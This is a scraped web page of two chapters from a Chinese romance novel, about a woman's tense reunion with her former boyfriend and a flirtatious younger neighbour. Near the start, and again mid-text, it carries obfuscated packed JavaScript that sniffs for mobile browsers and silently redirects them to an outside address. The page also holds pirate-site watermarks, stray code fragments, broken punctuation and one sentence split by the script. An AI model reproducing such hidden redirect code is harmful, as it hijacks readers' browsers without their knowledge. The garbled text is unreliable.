;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13699550|143042||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里。 “需要我帮您送到家吗?” 见店里只有他一个工作人员夜浓便没有麻烦对方。 踩着一双七厘米高跟鞋将东西抱到物业累得她气喘吁吁。 刚刚那个小姑娘从服务台里小跑出来要从她怀里接过笼子时夜浓说不用:“也没几步路了。” 猫咪是夜浓从原先笼子里抱出来的工作人员帮不上什么忙便取下笼子上的水壶去接了水。 再回来时见那只猫咪又被夜浓抱在了腿上。 乖乖巧巧的眯着眼睛一脸享受。 “它很喜欢你。” 夜浓掌心顺时针地抚着猫咪脊背:“可能是她性子乖巧吧。” 乖吗? 早上她想去摸摸它都还被它嗤了一声呢。 小姑娘没多话:“你买了这么多东西回头我帮你登机一下如果后面有人来认领我帮你问问看能不能给你补偿。” 夜浓还是那句不用:“都说是我自愿的了就是不知道它会不会用猫砂。” 刚刚猫咪叫唤的时候夜浓看见了它的牙齿乳白透明应该还只是幼猫但是全身胖乎乎的可见平日里主人给它吃的很好。 过了好一会儿夜浓才将猫咪放进笼子里“这个猫粮你是早上喂它的吗?” 小姑娘点头:“它吃的很少可能是新的环境让它没什么食欲。” 夜浓开了一个罐头倒在猫碗里放到它面前。 不知是饿了还是遇到了自己喜欢的食物猫咪闷头吃起来头也不抬。 夜浓便趁着这间隙出了房间“明天晚上我可以再来看它吗?” 小姑娘忙点头:“当然可以。” 从物业出来的时候夜浓心里突然空落落的扭头看一眼物业门厅视线不觉落到了它后方的会所玻璃幕墙。 都说甜食能刺激大脑释放多巴胺让人感觉到愉悦。 对别人有没有用夜浓不知但对她而言的确可以让她抵抗坏情绪。 可惜这个点 已经所剩不多,陈列柜里只有果仁蜜饼和南瓜派了。 果仁蜜饼上有开心果,她不吃,南瓜派又有肉桂和丁香的味道,她也不是很喜欢,可是只有这两种。 “你好,一杯玛奇朵,夜浓看着陈列柜里,短暂纠结后,她妥协了:“还有一份南瓜派。 马克杯上覆盖着一层甜美的奶泡,中和了浓缩咖啡里的苦涩。 夜浓耳朵上挂着耳机,一边刷着手机,时不时喝上几口。 沈屹骁没想到这么晚了会在这里遇到她。 舒缓的慢蓝调里,她只身一人坐在窗前。 隔着几米远,看见她面前的南瓜派,沈屹骁皱了皱眉,但是看见一口未动,他嘴角又掀了掀笑。 还真以为几年过去,她口味有了变化呢。 沈屹骁走到吧台,扫了眼陈列柜里仅剩的几块果仁蜜饼。 “Barry呢? 柜台里的小姑娘是新来的,不认识沈屹骁:“您好,请问找我们糕点师有什么事吗? 沈屹骁抬头看她:“你只需要告诉我,他人还在不在? 小姑娘摇头:“Barry已经下班了,但是Felix在,他也是我们的糕点师,不知您有什么需要? 沈屹骁没再说话,出了咖啡厅,没一会儿的功夫,会所值班经理从电梯里小跑过来。 “沈总,请跟我来。 沈屹骁跟在他身后去了烘焙间。 浓郁的米香扑鼻。 系着深咖色围裙的Felix走过来,同他握手,说好久不见。 其实哪里算好久不见,只是两人所属天地不同。 沈屹骁看向电饭煲:“怎么这个时候蒸米饭? “有位在做SPA的客人点了芒果糯米饭。 沈屹骁点了点头:“够两人份吗? “当然。 沈屹骁脱掉西装外套,递给一旁的经理,而后跟Felix说:“帮我打个下手。 Felix眼里闪着浓浓的诧异:“客人点的甜品,怎么能让你亲自动手! 沈屹骁解开袖口,将黑色衬衫的袖子挽至手肘:“客人点的当然由你来做,我只做我那份的。 说完,沈屹骁洗净手,将芒果也洗净,从 中划开,过刀,一丁丁的芒果落入玻璃碗中。 沈屹骁不会做饭,会一些甜品,至于芒果糯米饭,他做过两次,但也都是五年前的事了。 芒果处理好后,电饭煲里的糯米正好闷过了五分钟。 Felix盛出两勺糯米放进另一只玻璃碗中,问他:“够吗?” “够了,”沈屹骁接过后,将其打松,“我记得好像要放盐?” Felix点头:“一点点就好。”他眼里的惊讶不止:“你以前做过?” 沈屹骁没接他话,将椰浆倒在勺子里:“这么多够吗?” “再来半勺。” 之后再放冰糖粉。 Felix皱了皱眉:“可以再放一点。” 沈屹骁却摇头:“她不喜欢太甜。” “她?”Felix抓住重点:“女朋友?” 沈屹骁手里的动作停了一瞬,才摇头说:“不是。” 将拌好的糯米饭倒入小碗里压紧实后,再倒扣在白色的盘子中,而后再将丁块芒果放到一边,剩下的一些芒果,沈屹骁切成小碎,铺在形状漂亮的糯米饭上,最后淋上一些椰浆。 “完美。”Felix由衷夸赞:“不知那位「她」在哪,需要我帮你送过去吗?” 沈屹骁短暂迟疑几秒后,说不用:“我自己送去。” 作者有话要说 沈总应该背个藤条。 第 18 章 十八章 第18章十八章 咖啡厅里依旧只有夜浓一个人,音乐流淌,她安安静静地坐在那儿。 面前的南瓜派,她就只吃了一口,但玛奇朵早就喝完了。 沈屹骁走到她身侧的时候,夜浓刚取下蓝牙耳机。 一只手臂连带着浓郁的黄和清浅的乳白涌进她视线,夜浓眼波一顿,抬头见是沈屹骁,拿着耳机的手停在半空中。 早上的事到现在还时不时闪过她脑海,见缝插针地打断她忙碌的思绪。 以至于脑海里的人突然出现在她眼前,她一时有点恍惚。 直到沈屹骁将那盘芒果糯米饭放到她面前:“请你。” 夜浓这才低回脸,瞥过去一眼,她眉心微蹙。 请她吃芒果糯米饭? 为自己早上的禽兽行为买单吗? 夜浓心里冷笑一声,抬头,“如果沈总是想为早上的事情道歉,那还是算了吧!” 她敷衍的假笑很刻意,像是故意让人看出来似的。 “如果我说一声对不起,”沈屹骁嘴角挟一缕笑,语气不紧不慢:“那夜小姐是否也要回我一声抱歉?” 夜浓先是一愣,继而好笑一声:“是你强吻了我,我为什么要道歉?” 沈屹骁皱了皱眉,表情略有无辜:“夜小姐不是也咬了我?” 被他这么一说,夜浓顿时脸红到了耳根:“.你、你不要脸!” 以前她也这么骂过自己,不过那时的语气更多是嗔是羞,不似现在,只是为了骂他而骂他。 但不管怎样,也算是见到了她真实的情绪。 沈屹骁将南瓜派一旁的小勺拿到手里,递到她面前:“尝尝,我做的。” 夜浓眼里闪过一瞬的意外,像是不相信,但随着她视线落到盘中,回忆突然劈天盖地。 过去,他的确给她做过甜品,不是因为他喜欢,也不是因为他擅长,而是因为她的嘴太挑。 吃甜品却不喜太甜,巧克力又嫌苦,带果仁的又不吃开心果。 寒冬腊月,她喜欢穿裙子,沈屹骁便不许她吃凉,所以能让她挑眉说好吃的屈指可数。 至于沈屹骁是什么时候学的甜品,她不知道,只知道,在她生日那晚,他 用一份焦糖蛋奶代替了生日蛋糕,跟她说了生日快乐。 那是他第一次给她做甜品,为了让她更感动似的,说那上面的桂花蜜是他自己酿的,一瓣瓣的桂花也是他亲手摘的,为了那一份焦糖蛋奶不知浪费了多少鸡蛋 总之就是各种用心良苦,最后问她好不好吃。 味道真的一般般,但是因为是他亲手做的,所以味蕾都跟着起了变化。 突然就想起那天物业送上门的免费甜品,里面也有一道焦糖蛋奶,味道正中她的喜好。 平心而论,那口感,可比当初生日时他做的那份好吃多了。 想到这,夜浓心脏“咚的一声。 她被自己的记忆力意外到了。 分开五年,加上在一年的那一年,满打满算下来有六年的时间。 六年,她都快把他忘了,怎么还会记得当初那份焦糖蛋奶的味道? 举在自己面前的金属小勺晃了两下,夜浓眼底凝回神。 抬头,见他眼底的眸光不似平时那般冷漠,夜浓心底不知名的一块悄悄软了几分。 说不清是以什么样的心情接过他手里的小勺的,但是接到手里后,她语气并没有放软,只说:“既然沈总这么有心,那我就却之不恭了。 但是勺尖落到糯米饭上的芒果丁时,她动作又停住。 这要是吃了,是不是就代表她原谅他了? 他会不会觉得她好哄,下次还会得寸进尺 想到这,夜浓不禁抬头。 谁知视线刚一上抬,就撞进他那双墨色的眼瞳里。 沈屹骁的目光自上而下地将她笼罩:“若是夜小姐实在没胃口,也不必勉强。 一会儿让她吃,一会儿又让她不要勉强。 还有那声“夜小姐,喊起来还真是顺口。 夜浓把勺子往下一压,一团铺着芒果碎的糯米饭被她连勺含进嘴里。 清淡的椰香伴着糯米的软糯,还有芒果的鲜甜在口腔里漫开。 味道的确不赖,但夜浓心想,若是他问她味道如何,回他一句「一般般」已是给足他面子。 谁知站在桌侧的男人不仅只字未问,连一声招呼都没打就转身走了。 夜浓眼含怔愣,追他背影出门后,她才反应慢半拍地气 笑一声。 所以这人今晚突然出现在这里是什么意思? 到底是来道歉的还是来气她的? 口中依然还有糯米饭的清香软糯但是再吃下去的胃口却没有了。 夜浓转身朝侍应生招了招手。 回去的路上夜浓几次低头看着被她打包回来的芒果糯米饭。 真是笑死了还说请她请她为什么不把账结了? 重点是票单上还注明着:特制芒果糯米饭。 就因为是他亲手做的所以就被贴上了「特制」的标签? 又气又好笑地上了楼电梯门开夜浓往左前方掠去一记白眼。 她不知道的是隔着一个走廊隔着一道门沈屹骁垂眸倚着墙边而站。 筒灯里刺目的白从头顶打下来 说更新,记住域名qiexs?(请来企鹅小 说 看最新章节 完整章节)落不进他一汪深不见底的眼底。 几年过去激将法依旧对她有用。 可是几年过去他对她的了解为何还是那般深入骨髓。 在她回来前他以为自己可以把她忘了真的就快要忘了。可是她偏偏回来了在那款被他命名为「Release」也就是「释怀」之意的香水只缺一个包装就可以上市的时候她回来了。 不早不晚。 是天意弄人还是说他们之间的这段感情还没有走到无疾而终的地步。可若真是如此他们又要如何开始。 开始. 他竟然还期待和她重新开始. 耳边传来门关合的声音沈屹骁深吸一口气转身回到客厅。 而隔着不知几堵墙的另一客厅夜浓坐在沙发里正盯着被她放在茶几上的打包盒。 回京市以后除了工作她所有的生活轨迹又或者原有的节奏都被打乱了。没了过去几年的无波无澜不说甚至每一天都会发生让她预知不到的意外。而这些意外的源头都来自于他。 她又想起早上那个吻。 让她心悸又慌乱无措又害怕的一个吻。 不管他是戏弄还是报复她的心跳骤乱骗不了自己。 她甚至都不怪他只气自己怎么就这么没骨气。 被他伤一次还不够长记性吗?还想继续被他玩被他戏弄? 他是开心了尽兴了徒留她一 个人泥足深陷,继而黯然神伤? 这样的经历,只需要一次就够了。 再来一次,她怕是再也拿不出当初的意志力快速从中抽离。 快速. 夜浓被心里涌出的这两个字笑到。 天知道她用了多久才将他的脸从记忆里一点点抹去。 那段连刷牙洗脸都要告诫自己要忘记他的日子,她一分一秒都不想再经历一次。 所以当她再看向那份被她付钱打包回来的精美打包盒时,她几乎一个迟疑都没有就扔进了垃圾桶。 * 翌日一早,夜浓去了会所的健身房,平时看不到几人的小区,没想到起早来锻炼的人却不少。 临窗一排十几台跑步机几乎被占满,就剩下最里面两个空位。 夜浓脱掉外套,身上是一套香芋紫运动装,虽然是长袖,但修身的剪裁让她身段更加袅袅婷婷,凹凸有致。 她站在倒数第二个跑步机上,一阵低速的热身后,夜浓将速度增加到每小时三公里,十分钟后,她又将速度增加到五公里。 在她旁边是一个年轻男人,虽说银灰色紧身速干T恤下能看出他精而壮的肌肉,但五官俊秀,满是少年才会有的稚气。 从夜浓站到跑步机两边的防滑板上时,他就几次余光偷瞄。 眼看半小时过去,依旧不见夜浓有停下休息的动作。 滚滚的汗划过他眉清目秀的脸,像是终于找到一个搭讪的机会,他脚下速度不减,光明正大扭过头来:“第一次见像你能跑这么久的女生。” 听到声音,夜浓先是一愣,往右手边的跑步机看了眼才回看对方:“你在跟我说话?” “当然了。” 男人有着一双能望到底的干净眼神,笑起来,像是夏日里的山涧清泉。 很是赏心悦目。 夜浓回了对方一记浅笑:“我可不是女生了。” 她冷白皮肤沁了细密一层汗,透着隐隐的绯。 男人目光停留在她脸上,“那是姐姐?” 一声姐姐让夜浓颇感意外,夜浓轻笑一声:“你多大了呀,就喊我姐姐?” “二十一,你呢?” 男人热烈的笑里不见丝毫年下弟弟会有的腼腆。 夜浓眉 梢轻挑点头之余她垂眸无声笑了下黑密的眼睫因她垂眼的动作卷翘勾人。 对夜浓来说年龄不算秘密但对一个陌生人她也不想交底。 “我啊马上就三十五了。”她含糊其辞地虚报。 以为会把对方吓跑结果却听他“哇哦”一声:“正是女人最有魅力的时候。” 在夜浓浅浅低笑里男人调慢了速度“以前没见过你。” 虽然知道对方在看着自己说话但夜浓还是选择目视前方“我刚搬过来没多久。” 男人说了声难怪继而又细问道:“那你住几栋?” 不得不说现在的小弟弟都太会搭讪没点经验真要招架不住。 夜浓回头给了他一记笑而不语。 或许是‘初生牛犊不怕虎’又或者仗着自己年纪小就可以任性妄为男人嘴角撇了撇人畜无害的脸委屈犹怜的语气说:“这么小气呀?” 说他没有礼貌好像都有些重了。 夜浓颇感无奈地摇了摇头正是这动作让她额头两滴汗滚了下来。 汗咸刺眼夜浓条件反射把眼一闭。 几乎是同时男人反应迅速的从慢转速的皮带上站到了一侧的防滑板上。 长臂一伸掐着夜浓的腋下将她从快速转动的皮带上托起放在了两台跑步机之间的平地上。 动作迅速到夜浓都没反应过来是怎么回事。 面对夜浓满脸的怔愣男人翘了翘嘴角“不客气。” 惹得夜浓都不好跟他计较他刚刚的无理只得轻笑一声:“谁说我要跟你说谢谢?” “那就换成抱歉”男人语气诚恳:“所以我可以为我刚刚的失礼请你吃个早餐吗?” 不得不说这种搭讪方式有些出其不意。 夜浓不是一个娇怯的性子大大方方地笑了笑:“你都喊我姐姐了怎么好意思让你请。” 四楼是餐厅时间还早用餐的人并不多。 男人点餐轻车熟路要了双人份的港式早茶。 给夜浓倒水的间隙男人语气有着自在的熟络:“你住十二栋对吗?” 刚刚还问她住几栋 ? 男人却摇头:“不认识,真正的认识应该是知道彼此的名字。说完,他伸出手:“我叫南禹,你呢? 他的话,他伸手的动作,让夜浓突然想起当初她和沈屹骁真正认识的那一天。 当初,她和沈屹骁的认识也是这么开始的。 那晚,她在男生宿舍楼下拦住了沈屹骁,好言好语说明来意,希望他能破掉那些谣言,结果他却好笑一声,还说:这位同学,我认识你吗? 当时夜浓只觉得啼笑皆非:和你传了半个月的绯闻,你说你不认识我? 沈屹骁一双眼睛带着打量和审视在她脸上:真正的认识应该从知道彼此的名字开始。 当时的夜浓只觉得好气又好笑:夜浓,这下认识了吗? 「夜浓时见月。」 五个字,被沈屹骁略有低沉的嗓音说出来。 下一秒,他伸出那只骨扇般漂亮的手:沈屹骁。 回忆短暂闪过,夜浓看着那只等待她交握的手,不过一个社交礼而已,夜浓伸手与他握了握。 “夜浓。 “夜浓,南禹默念一遍后,露出一个看着很走心的笑:“很好听。 好听吗,夜浓想起沈屹骁跟她说过的一句话:如果你是姓叶,那这两个字拼在一起就毫无惊艳可言。 他很喜欢她的名字,又或者,喜欢她这个姓,何时何地都会连名带姓地喊她,不着情绪时平铺直叙的,拿她没办法时轻拖尾音的,欢爱时落音短促的。 夜浓接过他倒好的那杯茶,随口似地问道:“哪里好听? “水气凝珠,仙心浓夜,月明葭渚苍苍。南禹说:“你说你叫夜浓的时候,我首先想到了这句诗。 见她表情怔愣着看着自己,南禹脸上丝毫不见窘色:“是我领会错了吗? 他是除了沈屹骁之外,第一个只凭听就识破她姓的人。 说不清是他太过年轻不会修饰自己的表情,还是说被埋在心底的那份特别不想被第二个人插足,夜浓没留什么余地地揭穿了他。 “其实在今天之前,你就知道了我的名字。 说这话的时候,夜浓视线一直锁在他脸上。 以至于她精准无误地捕捉到他眼底划过的意外,以及再一垂眸,嘴 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13699551|143042||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 角那看似生动却又尽显无奈的笑痕。 不用他承认或否认,夜浓心里都有了答案。 “说吧。” 南禹单手支腮:“说什么?” 现在年下小弟弟的脸皮都这么厚吗? 夜浓瞥他一眼,“不说的话,这顿早餐,我可没心情请你。” 虽说她话里有笑音,但说的话却并不算客气。 南禹脸上还是那般无奈的表情,只是托腮的动作变了,两手举过头顶,承认错误状:“我错了。” 年轻真是好,做这种看似幼稚的动作不仅不违和,还很可爱。 这次换成夜浓单手托腮地看他:“错哪儿了?” 她不经意的动作和表情,还有语气,极为自然的将「姐姐」这个身份与自己贴合。 南禹浅浅一个叹气:“物业中心的那只纯白布偶,是你给它买的笼子,是吗?” 夜浓没想到这会成为他的理由,眼里闪过浓浓的意外,支在腮颊处的手也拿了下来,“那只猫是你的?” 南禹摇了摇头:“不是。” 听到这个答案,夜浓说不上来是失望还是庆幸,然后听他解释。 “我只是在业主群里看到了宠物认领,好奇才去了物业,看见那猫罐头和我养的那只猫吃的是一个牌子,就多嘴问了一句,才知道那是你买的。” 夜浓不知该不该信他:“几个猫罐头而已。” 南禹从她一半的话里听出了她的质疑,笑着喊她一声姐姐:“我只是想告诉你,以后买罐头,特别是那种进口价格高的,一定要看它的生产日期。” 眼看她皱眉,南禹又解释:“不是谁都能接受那么高的价格,这就导致宠物店里存货积压,你昨晚买的那几罐,保质期就只剩一个月了。” 夜浓面色一窘:“.我当时没注意看日期。” “没事,我上个星期刚买了一箱,回头我拿一些过去。” 夜浓忙摆手:“不用——” 然而却被南禹略有不客气地打断:“我和你一样都是好意,你不能拒绝我。” 的确,她也不是猫的主人,凭什么拒绝他的好意呢。 说到这,夜浓突然想起来:“业主群里还没有人认领吗?” “早上看的时候还没有,” 南禹浅浅皱眉:“你不在业主群吗? 夜浓摇了摇头:“我只是租户而已。 “那要不要加个微信,如果有人认领我跟你说一声,省得你去问物业了。 虽说能一眼识破对方是借此加自己的联系方式,但他给出的理由的确正中夜浓下怀。 扫码添加好友后,夜浓看了眼他的头像,是他和一只猫的合影。 “你养的是德文啊? 南禹被她的意外意外到:“为什么这么惊讶? 夜浓没养过猫,对各种品种猫的了解都来自网上。 “都说它很凶。 南禹笑出一声低音,说:“有的德文是有点凶,不过我那只还好,但是顽皮是真的顽皮,而且心眼小,见不得我碰别的猫。 夜浓被他连续两个形容笑到:“真不知你是夸它还是贬它。 “有机会介绍它给你认识? 夜浓没说好与不好,将手机锁屏搁到一边:“快吃吧,我一会儿还要上班。 相比南禹对她的好奇一一问出口,夜浓对他却毫无半点兴趣,想答的答,不想答的一笑置之。 吃完早餐,南禹将她送到会所门口:“回去换身衣服就要去上班了吗? 他语气娴熟的好像和她认识已久,可夜浓不是自来熟的性子,她将心底的那份不自在化在嫣然一笑里:“我先走了。 没有拜拜,没有再见,只一个轻微颔首,她便转了身。 回到家以后,洗澡、穿衣、化妆,出门,看似紧张,却繁而不乱。 到了公司,依旧是忙碌的一天。 只是午休在楼下餐厅吃饭的时候,夜浓收到了南禹的微信:【吃午饭了吗?】 夜浓看着那条短信,拧了拧眉,很轻微的一个表情,被坐在对面的阮瑜捕捉到,“怎么了? 夜浓没有立即回复,将手机锁屏放到一边后,笑说:“早上跑步的时候认识了一个小弟弟。 “小弟弟?阮瑜有惊讶却不意外:“所以刚刚是小弟弟在跟你嘘寒问暖? 夜浓被她口中的嘘寒问暖笑到,“哪有,就是礼貌地问我吃饭了没有。 有些时候,阮瑜觉得她像是涉世未深的小女孩。 “你是不是没被小 弟弟追过? 夜浓微微一怔,接着摇了摇头:“还真没有。 “那你可要小心了,阮瑜给她传授经验:“现在的小弟弟就喜欢玩嘘寒问暖这一套,一日三餐问你吃了没有啊,天冷了让你多穿衣,下雨了问你有没有带伞,若是知道你家的地址,时不时的还会给你点杯奶茶配个甜品。 夜浓被吓到了:“这么缠人? 阮瑜抓到重要的一个信息素:“你不喜欢缠人的? 夜浓摇头:“不喜欢。 阮瑜很意外她的答案:“如果是喜欢的人这么对你,你也不喜欢? 夜浓还是摇头,但是眼看阮瑜眯眼瞧她,夜浓忙解释:“主要是你刚刚说的那些,对我来说有点太过了。 阮瑜表示不理解:“但是我刚刚说的那些,在恋爱期间都很正常好不好,难道说,你以前谈的那个男朋友没有那么对你吗? 夜浓抿了抿唇:“我们不太发短信。 阮瑜先是一怔,继而冷笑一声:“如果是这样,那你还真是分对了。 夜浓:“. 她好像表达错了? 但又没完全说错,当初她和沈屹骁的确很少发短信,每天都能见到,像阮瑜说的那些文字性的关心,沈屹骁从来都只表现在行动上,在哪儿吃饭,吃什么,他都会安排好,天冷的时候,他胳膊上永远搭一件保暖性极好的绒衫,至于下雨,他不是等在女生宿舍楼下就是等在她教室门口,奶茶那些东西,沈屹骁倒是不会给她点,但是会给她泡一壶茉莉花茶。 在阮瑜一脸看尽的失望与庆幸里,夜浓没有多做解释,毕竟已经过去式,解释起来费劲且毫无意义。 不过南禹并没有像阮瑜说的那样缠人,在夜浓忘了给他回复短信的几个小时里,他没再打扰。 临下班前半小时,刘蕴才将昨晚夜浓吩咐下来的设计方案整理好报给她。 夜浓是第一次遇到所接项目和对方老总亲自对接的,所以她格外重视,于是又和设计三组开了一个会。 结束已经七点。 刘蕴跟她身后出了会议室:“夜总监,明天就我自己过去吗?她说的是去雾色和祁孟对接项目进展这事。 夜浓扭头看她一眼:“第一次项目跟进我就过去, 第 19 章 十九章 第19章十九章 夜浓一直到晚上洗完澡回到卧室才想起中午南禹的那条短信,她还没有回复。 发过去一个抱歉的表情包,南禹回了她一个委屈的表情包过来,而后才是一串文字:「本来想问你晚上有没有时间一起去物业看看那只布偶的,又怕你嫌我烦。」 字里行间都能听出委屈,夜浓心里的歉意不自觉多了几分:「明晚吧。」 南禹:「真的吗?不会到时候放我鸽子吧?」 夜浓:「不会。」 夜浓:「今天业主群里有人认领吗?」 南禹:「没有。」 夜浓:「上次物业里的人说,如果过了一周还没有人认领的话,要把它送到宠物救助站。」 南禹:「那你有没有想过自己去领养?」 自己领养 夜浓悬在屏幕上的手指顿住。 她有想过,但也仅仅只是想过,她打小就喜欢猫,就是因为太喜欢,所以害怕有一天会失去。 夜浓:「你养猫之前,会害怕它生老病死,离开你吗?」 南禹:「不怕,毕竟没有我,它也会有那么一天。」 能有这种乐观的心态真好。 当初沈屹骁看出她喜欢猫,也要给她买一只,但是被夜浓拒绝了,知道她心底的害怕,沈屹骁说:养或者不养,都有遗憾,但你若是养了,就会多一份回忆。 但夜浓依旧执意地认为:相比失去后的戒断反应,她宁愿自己没有那份回忆。 夜浓深吸一口气:「时间不早啦,明天还要上班,晚安。」 然而南禹并没有因为她的晚安而结束这场文字聊天。 「你给我的,是不是你的小号?」 这个是曲姚给她的那张手机卡申请的,名副其实的对公联系方式,所以头像是默认的灰色人形图标,名字更是用的自己的真名。 夜浓实话实说:「我在京市工作期间,会一直用这个号,所以不算小号。」 早上在餐厅,南禹就问过她是不是本地人,夜浓只笑笑,如今听她这么一说,南禹心里了然:【你来这边是出差?】 夜浓:「嗯。」 南禹:「多久?」 夜浓:「 说不准,好啦,我真的要睡觉了。」 夜浓的性子冷热分明,闲暇且遇到她感兴趣的,她会多聊几句,反之她也会冷淡寡言,将她骨子里的清冷发挥到极致。 所以像她这种只一眼就能让人回头还想看第二眼的女人,的确能激起一部分男人的捕获欲和征服欲,但对有些男人来说又会显得无趣。 但所有的无趣在足够精致又惊艳的皮囊之下,都显得微不足道不值一提。 所以当南禹从短信里看出她的意兴阑珊,便没有第二次的穷追不舍,哪怕还想问一问她明天早上会不会再去健身房。 这个问题,夜浓在翌日早上也犹豫了一下,都进电梯了,她又折了回来,再出门,她手里多了一个装着浴巾的袋子。 主会所有恒温泳池,每栋楼的悬浮分会所也有。 沿窗并排六七个躺椅都没有人。 夜浓没去更衣室,径直走到其中一个躺椅前,放下袋子,脱掉外套。 当她穿着一身水蓝色的挂脖挖肩泳衣走到池边,“哗 刚刚还无波无澜的水面,突然冒了一颗脑袋出来。 看清人脸,夜浓整个人愣住。 这是冤家路窄吗,怎么来游个泳都能碰见? 沈屹骁拂掉脸上的水才看清池边的人,和夜浓一样,他眼底也有怔忪,但他比夜浓更快恢复了平静。但条件反射的,沈屹骁往她身后扫了眼。 只身一人,不见昨天早上那个乳臭未干的小男人。 见她神色从震惊到犹豫,沈屹骁沉在泳池里未动。 一双被水沾湿的瞳孔,墨色清明,看似凝视,但隔着距离,其实是将池边的人从头到脚来回打量了好几遍。 倒是夜浓,虽然直面泳池,但眸光流转,心里纠结着,扭头就走显得她落荒而逃,可是下水的话,又有一种和他共浴的不自在。 余光往水池里看过去一眼,刚好和沈屹骁的视线撞上,夜浓忙将视线收回。 真是倒霉,早知道会在这里遇到他,还不如去主会所遇到那个小弟弟呢! 虽说心里有一万个不想下水的念头,但夜浓更不想被他看出自己的心虚,再说,她有什么好心虚的。 上次那份打着请她的 旗号,却让她自己买单的芒果糯米饭,她还没找他算账呢! 这么一想,夜浓腰板突然就挺直了。 “看什么看!她声音里满是对投过来的那双直白又强势的眼神的不满。 沈屹骁好笑一声:“你站在那儿不就是给我看的? 夜浓:“. 几年不见,长相没变,无赖的气焰倒是长了不少。 因为在浅水区,夜浓只能从扶梯下水,结果刚踩下一阶,就听不远处传来一句—— “不做热身? 夜浓瞪他一眼:“不用! 浅水区不深,站到池底,水也才没到她腰,夜浓往不远处瞥了眼,见他还盯着自己在看,心里的恼意根本压不住。 “你能不能别看了? 沈屹骁心情还算不错,所以即便她烦躁又不耐烦地朝自己嚷,他也没当回事,甚至还饶有兴趣。 “又不是没看过,这么激动做什么? 夜浓脸刹时一红,撩起水就朝他那儿泼,“你再看,信不信我把你眼珠子挖出来? 水星溅到沈屹骁本就湿漉的脸上,他八风不动,目光依旧凝视。 好似在说:我就看,你倒是过来挖。 夜浓气得脸上的红持续不下,偏偏她骨子里倔,就是不想成输家,一不做二不休似的,往池底一蹲。 结果蹲得猛了,水灌进口鼻,她又哗啦一声站起身。 在她一阵的咳嗽声里,沈屹骁叹了口气,从中等水深区游过来,随着水深渐浅,他健硕的胸膛和腹肌一点一点浮出水面。 咳嗽声被眼前的画面闷在了嗓子里,夜浓就这么眼睁睁地看着他离自己越来越近,越来越近,近到他在离自己不过半只手臂的距离前站定。 夜浓全身像是被点了穴道似的定在原地,只剩眸光乱转,眼睫颤个不停。 沈屹骁却弯下腰,把自己的脸递到她垂下的视线里。 “送来了,挖吧。 夜浓眼里光影交错乱得厉害,大脑已经跟不上他节奏,表情呆呆的:“挖挖什么? 沈屹骁食指点在自己的眼尾,“不是说要把我眼珠子挖出来吗? 夜浓:“. 沈屹骁两只肩膀放得低,仰头看她:“又舍不得 了?” 说的好像她舍得就能真的去挖似的。 夜浓剜他一眼眼神射过去的时候才发现他竟然离自己这么近条件反射的她两手往沈屹骁伏低的肩膀一推。 沈屹骁压着腰站当然站不稳失去重心的那一秒他手臂一伸攥住了夜浓的手腕。 一声尖叫伴着“哗”的一道水声。 沈屹骁背身后倒后他一秒入水的还有俯身压入他怀里的人。 水波四溅。 夜浓一手被他攥着另只手的掌心压在他胸膛沈屹骁比她更甚整条手臂都圈在了她腰上如一股麻绳般缠绕。 两人可谓是以相拥的姿势入水但夜浓推他的力量不过堪堪于是沈屹骁就着脚跟和腰□□沉让自己完全没入水下。 而夜浓的反应恰恰相反一边用力挣开自己的另一只手一边用手撑着他胸膛好让自己浮出水面。 但沈屹骁却偏不让她如愿他水下闭气最长能坚持一分半钟但夜浓不行再加上挣扎她力气消耗得很快。 眼看她眉心越皱越紧掰他手臂的力量也越来越轻沈屹骁墨色瞳孔一缩撑在池底的手掌忽而撑劲。 沈屹骁带她浮出水面没有了水下的紧迫感夜浓紧闭的双唇这才松开大口呼吸却又被鼻腔里的水呛到只剩剧烈的咳嗽。 沈屹骁掐着她腰将她举到池边 不止高尔夫夜浓的游泳也是沈屹骁教的。 可是这个时候夜浓哪还有心思回答他她连回想的余地都没有。 沈屹骁只得自己动手指腹压住她鼻子一侧“把另只鼻腔里的水擤出来。” 夜浓不想听他话也只能乖乖照做几个来回后她好受许多。紧接着她用那双因咳嗽带出眼泪的蒙蒙泪眼瞪向身旁的始作俑者。 “你故意的是不是?” 沈屹骁抬手将沾在她眼皮上的两缕湿发捻到一边:“难道不是你先推的我?” 夜浓也不知道自己怎么就委屈了起来“那你就把我拽到水里吗?你这人报复心怎么那么重.” 她眼泪在通红的眼眶里盘着旋打着转声音更是哽咽出哭腔:“还是说你是要 把我淹死才甘心? 在沈屹骁的记忆里,她很少哭,仅有的几次也是因为和她妈妈吵了架然后喝酒喝到半醉的情况下,还有一种情况就是床上被他欺负得很了。 如今被他恶作剧一般的手段惹得泪眼婆娑,沈屹骁这才意识到自己刚刚的行为有多幼稚。 眼看她眼泪砸下来,沈屹骁不由握住她肩膀把她转向自己。 “多大点事,至于报复你?说着,他抬起手,弯曲的食指就要蹭去她泪痕时,被夜浓毫不客气地挥掉。 “你就是报复,你别不承认!夜浓自己抹掉眼泪,“你敢说你没有因为当初是我提的分手耿耿于怀? 这话,沈屹骁反驳不了,但他也不想承认。 “五年了,他笑得好像很释然:“我至于因为过去那点事记到现在? 夜浓看着他,眼里的泪似乎要凝成光,穿透他,去辨认他话里的真假。 可是他那漆黑的眼底像是一口深井,只能看到最浅表的一层。 漫不经心的、毫不介意的。 好像他真的已经将过去放下。 好像站在他面前的自己,对他来说,只是一个故人。 